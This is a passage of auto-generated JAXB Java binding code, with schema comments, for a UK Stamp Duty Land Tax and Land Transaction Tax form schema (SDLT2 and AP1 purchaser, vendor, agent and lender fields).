<}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * */ public List<JAXBElement<?>> getAP1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2() { if (ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2 == null) { ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2 = new ArrayList<JAXBElement<?>>(); } return this.ap1LeaseTypeOrAP1LandlordTitleOrAP1LandlordTitle2; } } /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="SDLT2_AdditionalVendorOrPuchaser" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserTitle" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserSurname" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserFirstName1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserFirstName2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddressPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddressBuildingNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_AdditionalVendorPurchaserAddress4" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="SDLT2_PurchaserVendorConnectedYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="SDLT2_AdditionalPurchaserActingAsTrusteeYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Country" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IndividualOrOrganisation" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IDType" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_IDTypeOther" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_UKCompany" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_CHNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_SameAsFirstYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_Phone" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserDoB" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="LTT_PurchaserVATRegNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserTaxRef" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserCompanyNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserPlaceOfIssue" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserNINumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="LTT_PurchaserCorrespondenceToYesNo" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="LTT_PurchaserEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1"&gt; * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="AP1_IsVendorRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaserService" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchaserServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * &lt;/element&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname" }) public static class SDLT2 { @XmlElementRefs({ @XmlElementRef(name = "SDLT2_AdditionalVendorOrPuchaser", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserTitle", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserSurname", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserFirstName1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserFirstName2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserAddressPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserAddressBuildingNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalVendorPurchaserAddress4", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_PurchaserVendorConnectedYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "SDLT2_AdditionalPurchaserActingAsTrusteeYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Country", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IndividualOrOrganisation", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IDType", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_IDTypeOther", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_UKCompany", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_CHNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_SameAsFirstYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_Phone", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserDoB", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserVATRegNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserTaxRef", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserCompanyNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserPlaceOfIssue", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserNINumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserCorrespondenceToYesNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "LTT_PurchaserEmail", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false) }) protected List<JAXBElement<?>> sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname; /** * Gets the value of the sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname property. * * <p> * For example, to add a new item, do as follows: * <pre> * getSDLT2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link SDLT.SDLT2 .AP1 }{@code >} * * */ public List<JAXBElement<?>> getSDLT2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname() { if (sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname == null) { sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname = new ArrayList<JAXBElement<?>>(); } return this.sdlt2AdditionalVendorOrPuchaserOrSDLT2AdditionalVendorPurchaserTitleOrSDLT2AdditionalVendorPurchaserSurname; } /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"&gt; * &lt;choice maxOccurs="unbounded" minOccurs="0"&gt; * &lt;element name="AP1_IsVendorRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchaserService" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchaserServiceEmail" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServicePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchaserServiceDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentHouseNo2" 